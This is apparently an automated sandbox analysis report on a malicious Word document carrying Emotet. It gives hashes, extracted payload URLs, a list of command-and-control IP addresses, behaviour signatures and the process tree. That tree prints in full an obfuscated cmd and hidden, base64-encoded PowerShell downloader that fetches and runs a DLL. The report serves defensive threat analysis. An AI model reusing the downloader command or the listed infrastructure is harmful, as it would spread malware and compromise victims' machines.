Analysis
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max time kernel
144s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
26-01-2021 09:58
Behavioral task
behavioral1
Sample
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
Resource
win10v20201028
General
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Target
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
-
Size
140KB
-
MD5
3e920f73bd01f7f2bc523365586cb1a6
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SHA1
c8b23cb6c337de253f9260bfb9448842fca79634
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SHA256
11f1815179241d0f4acf9c2e9a9bc84ce4aa2e7c3a4f88ad6e40af2471db5d2e
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SHA512
ce68fa7ba60f519dff090789ab4d7a7772b5e06b4615757c400f57dc951876766f08d90c7fb8eff4f3dd9bcab1b0f43eb3186f97084292bf826229ab87fea1b9
Malware Config
Extracted
http://nightlifemumbai.club/x/0wBD3/
https://shop.nowfal.dev/wp-includes/RlMObf2j0/
http://e-wdesign.eu/wp-content/bn1IgDejh/
http://traumfrauen-ukraine.de/bin/JyeS/
https://jflmktg.wpcomstaging.com/wp-content/AK/
https://linhkienmaytinh.tctedu.com/wp-snapshots/VzJM/
Extracted
emotet
Epoch3
190.55.186.229:80
203.157.152.9:7080
157.245.145.87:443
132.248.38.158:80
110.172.180.180:8080
70.32.89.105:8080
161.49.84.2:80
37.46.129.215:8080
50.116.78.109:8080
115.79.195.246:80
178.62.254.156:8080
175.103.38.146:80
188.226.165.170:8080
91.93.3.85:8080
162.144.145.58:8080
117.2.139.117:443
190.85.46.52:7080
201.193.160.196:80
152.32.75.74:443
195.201.56.70:8080
192.210.217.94:8080
91.83.93.103:443
172.104.46.84:8080
201.212.61.66:80
186.96.170.61:80
74.208.173.91:8080
182.73.7.59:8080
139.59.12.63:8080
211.110.229.161:8080
122.116.104.238:8443
223.17.215.76:80
195.159.28.244:8080
82.78.179.117:443
2.58.16.86:8080
65.32.168.171:80
58.27.215.3:8080
179.233.3.89:80
190.19.169.69:443
203.160.167.243:80
178.254.36.182:8080
202.29.237.113:8080
79.133.6.236:8080
103.93.220.182:80
88.58.209.2:80
24.230.124.78:80
203.56.191.129:8080
186.146.229.172:80
91.75.75.46:80
68.133.75.203:8080
103.229.73.17:8080
116.202.10.123:8080
139.59.61.215:443
46.105.131.68:8080
2.82.75.215:80
75.127.14.170:8080
120.51.34.254:80
185.142.236.163:443
139.5.101.203:80
203.153.216.178:7080
188.166.220.180:7080
178.33.167.120:8080
162.144.42.60:8080
201.163.74.204:80
103.80.51.61:8080
49.206.16.156:80
78.90.78.210:80
110.37.224.243:80
27.78.27.110:443
190.18.184.113:80
172.193.14.201:80
192.163.221.191:8080
157.7.164.178:8081
183.91.3.63:80
109.99.146.210:8080
54.38.143.245:8080
192.241.220.183:8080
180.148.4.130:8080
190.107.118.125:80
8.4.9.137:8080
163.53.204.180:443
143.95.101.72:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1652 1844 cmd.exe -
Blocklisted process makes network request 16 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 112 powershell.exe 8 112 powershell.exe 10 112 powershell.exe 12 112 powershell.exe 13 112 powershell.exe 15 112 powershell.exe 17 112 powershell.exe 19 760 rundll32.exe 20 760 rundll32.exe 23 760 rundll32.exe 24 760 rundll32.exe 27 760 rundll32.exe 28 760 rundll32.exe 29 760 rundll32.exe 31 760 rundll32.exe 32 760 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 308 rundll32.exe 308 rundll32.exe 308 rundll32.exe 308 rundll32.exe 1524 rundll32.exe 1524 rundll32.exe 1524 rundll32.exe 1524 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Pkenzanizwanacd\sbcchpoyfwradp.xps rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1676 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exerundll32.exepid process 112 powershell.exe 112 powershell.exe 760 rundll32.exe 760 rundll32.exe 760 rundll32.exe 760 rundll32.exe 760 rundll32.exe 760 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 112 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1676 WINWORD.EXE 1676 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1652 wrote to memory of 1824 1652 cmd.exe msg.exe PID 1652 wrote to memory of 1824 1652 cmd.exe msg.exe PID 1652 wrote to memory of 1824 1652 cmd.exe msg.exe PID 1652 wrote to memory of 112 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 112 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 112 1652 cmd.exe powershell.exe PID 112 wrote to memory of 656 112 powershell.exe rundll32.exe PID 112 wrote to memory of 656 112 powershell.exe rundll32.exe PID 112 wrote to memory of 656 112 powershell.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 656 wrote to memory of 308 656 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 308 wrote to memory of 1524 308 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 1120 1524 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe PID 1120 wrote to memory of 760 1120 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
